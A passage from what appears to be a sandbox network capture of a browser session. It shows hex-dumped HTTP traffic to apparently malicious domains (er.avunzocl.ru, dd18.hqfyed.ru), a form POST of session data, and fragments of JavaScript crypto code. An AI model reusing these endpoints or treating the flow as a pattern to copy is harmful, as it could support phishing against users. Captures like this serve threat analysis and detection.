a=0;a<c;
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:51 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:51 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:33:51 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 92374ce2a9484286-EWR Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Set-Cookie: __cf_bm=Rzbk1LQLlmsQyAyD1SoEN6UhN22uHMU98Mf97vsYgWg-1742495631-1.0.1.1-jq_cd0mLW6j.XztmNOIyIhyjKwT6TOGmvvuuOf22rMtxSLvUiCckvuAo.OQJY5JADaxq2xIPvqn6rSz0zyW7jvGnVUkoVfgRm0izRN1x3gw; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Thu, 20 Mar 2025 19:03:51 GMT alt-svc: h3=":443"; ma=86400
2025-03-20 18:33:51 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-20 18:33:51 UTC	309	IN	Data Raw: 99 e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:52 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=Rzbk1LQLlmsQyAyD1SoEN6UhN22uHMU98Mf97vsYgWg-1742495631-1.0.1.1-jq_cd0mLW6j.XztmNOIyIhyjKwT6TOGmvvuuOf22rMtxSLvUiCckvuAo.OQJY5JADaxq2xIPvqn6rSz0zyW7jvGnVUkoVfgRm0izRN1x3gw
2025-03-20 18:33:52 UTC	435	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:33:52 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 92374ce6aaca0c7e-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 18:33:52 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-20 18:33:52 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:08 UTC	560	OUT	GET /kabutar$ds6t5 HTTP/1.1 Host: dd18.hqfyed.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://er.avunzocl.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:34:09 UTC	281	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 92374d4b2c9d8df5-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 18:34:09 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-20 18:34:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:09 UTC	1426	OUT	POST /tvajiBy7onsdzkhneurSzR51zrCamRMKZht6szjonmim HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymMgEHn6hE5rbnGF8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://er.avunzocl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://er.avunzocl.ru/hhtc/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZtaEJWanFoYjBSZStXdFVvNExqUXc9PSIsInZhbHVlIjoiV2tsOGcyQld5czhGU3RhMGJRbTlCV2RJZEFHN2hibWJzcTNxaGttSm81bGppdUVhZHFrWDg4ckRLRk9uMXNIcXY5V2t2OWxHNjdMQzNmNTROUGtQa3ErZktDWUY5eWUxNFJmRXpnZjJtT01lRGUvWGtIK1lJUGhONG1BUUIySW4iLCJtYWMiOiJiZTUzN2VlMWMzMjQ1NjgzYjdiODU3YjE3MDFmMDg2NmIyM2IyY2JjOWUxYzdkODIxYTVkZDhlOGZmMTQ3M2NhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBwMnE2TXIwT2YwMkN4NEZSQlVmYlE9PSIsInZhbHVlIjoiamk2b3pjRm0rVnZEQURjelk4TXBkNSszUGgwN2w0SUJWeHdLQTFYa2w2OGhnUS9rYmpQYjNnOCtseEtBNzVPcTdDNVFNR0NwVGYwaDZ5WXh0azZNSlUrOWZPd1pYSG1yY2tTcE9kditBY3pmMXdtYng4bWVOamZLdkVnRGpQYVEiLCJtYWMiOiJiMzAxYzJiMGMwOGNjMDY5MmUwZGIyMGJlMjNlZDM1ODdhMmM0ZDRiMjUxMTNmYTg5ZmVkNmM1ZWM0OGQ5N2JmIiwidGFnIjoiIn0%3D
2025-03-20 18:34:09 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 4d 67 45 48 6e 36 68 45 35 72 62 6e 47 46 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 6c 36 4f 56 4c 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 4d 67 45 48 6e 36 68 45 35 72 62 6e 47 46 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 39 6e 36 66 32 66 74 72 62 77 77 4c 67 50 33 56 76 76 5a 50 70 4c 4d 77 64 57 37 52 4b 58 70 53 50 41 66 75 63 52 6f 73 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 4d 67 45 Data Ascii: ------WebKitFormBoundarymMgEHn6hE5rbnGF8Content-Disposition: form-data; name="bltpg"l6OVL------WebKitFormBoundarymMgEHn6hE5rbnGF8Content-Disposition: form-data; name="sid"9n6f2ftrbwwLgP3VvvZPpLMwdW7RKXpSPAfucRos------WebKitFormBoundarymMgE
2025-03-20 18:34:09 UTC	1183	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:09 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zJb0Kef6KO%2FkiHtpf%2FIcnFJ2Pnr3WMXK7ovT5MswOGR7YK7el7z6DK1aAv8TtGLrjZbcE3XWTS5aICGm1aPYVxfku%2FTi57jeC6sM6P076%2BaCLAGJPlUJEYdIAcMLwGLdcqdo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4237&min_rtt=4221&rtt_var=1217&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3109&delivery_rate=660176&cwnd=250&unsent_bytes=0&cid=b91c0d46efa37215&ts=105&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjhlK25VT3d3MkU1RjBXSjNzZGowUWc9PSIsInZhbHVlIjoiVkVmUXpJUW5pOWIxcnZnVnNVTHFsVCtKcEZOQ3ZhZEpZY2JtMlZpOXJTOFNJNlJzUnU4SWFxdWNKd2svYVFEWk44dkhzMnF6T1ZETDd0Mjl3UUVIaGc4dFA2SWpPK3NoQUV0UCtMVE1ZSnhOQ0pJSEFCdGtjOWVNaERiSjNvUzMiLCJtYWMiOiI0ODM3NWU5OThlY2FhYWU3MGVhN2YxNjAxMDE5MTE1YTkzYzcwZGQxNDgwOGZjMDJlNDM5ZjFjMTUzMDQ3ZjBjIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 20:34:09 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 18:34:09 UTC	789	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 68 35 5a 33 6f 31 56 48 52 46 56 47 74 61 52 33 42 32 59 32 64 6e 59 30 4e 70 64 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 57 68 44 5a 55 70 71 54 54 5a 68 51 31 4a 69 54 6a 6c 47 63 46 46 4f 63 48 63 78 4f 56 41 30 4b 32 38 35 62 58 46 6e 63 55 5a 70 62 30 5a 4a 64 58 64 75 4e 32 6c 58 59 57 63 72 52 46 56 76 4d 6d 70 72 4d 58 4a 6b 56 58 5a 70 54 57 68 71 56 32 4e 31 5a 30 31 77 51 56 64 6e 55 54 64 52 63 30 55 32 4b 32 6c 4b 4e 30 74 58 4b 30 39 49 55 57 67 32 64 32 78 53 55 57 68 43 5a 6c 70 53 4d 6a 49 77 4f 55 68 5a 4d 54 42 79 62 57 64 6b 63 46 4e 4b 4e 45 78 4d 63 58 56 31 56 47 39 51 53 54 56 43 53 6b 39 31 52 6d 30 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ikh5Z3o1VHRFVGtaR3B2Y2dnY0Npdmc9PSIsInZhbHVlIjoieWhDZUpqTTZhQ1JiTjlGcFFOcHcxOVA0K285bXFncUZpb0ZJdXduN2lXYWcrRFVvMmprMXJkVXZpTWhqV2N1Z01wQVdnUTdRc0U2K2lKN0tXK09IUWg2d2xSUWhCZlpSMjIwOUhZMTBybWdkcFNKNExMcXV1VG9QSTVCSk91Rm0
2025-03-20 18:34:09 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-20 18:34:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:09 UTC	391	OUT	GET /kabutar$ds6t5 HTTP/1.1 Host: dd18.hqfyed.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:34:10 UTC	834	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fqs69zsd551BjEc5PIonSKRNr3OgNG%2BzQU8eNdsNrolrZx4K%2FeCTLcGi4g9NIEC1r%2B%2FkkHv3SCkCH33hIVLDA0D2BAgHxmQtyrcT1aib3etQyvg1fQOc26t%2FUmVoA%2F1%2BvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92374d55cb9ac32c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=108027&min_rtt=107914&rtt_var=22935&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=963&delivery_rate=34415&cwnd=230&unsent_bytes=0&cid=c5a668f8edaf0d0d&ts=1087&x=0"
2025-03-20 18:34:10 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-20 18:34:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:10 UTC	1145	OUT	GET /tvajiBy7onsdzkhneurSzR51zrCamRMKZht6szjonmim HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 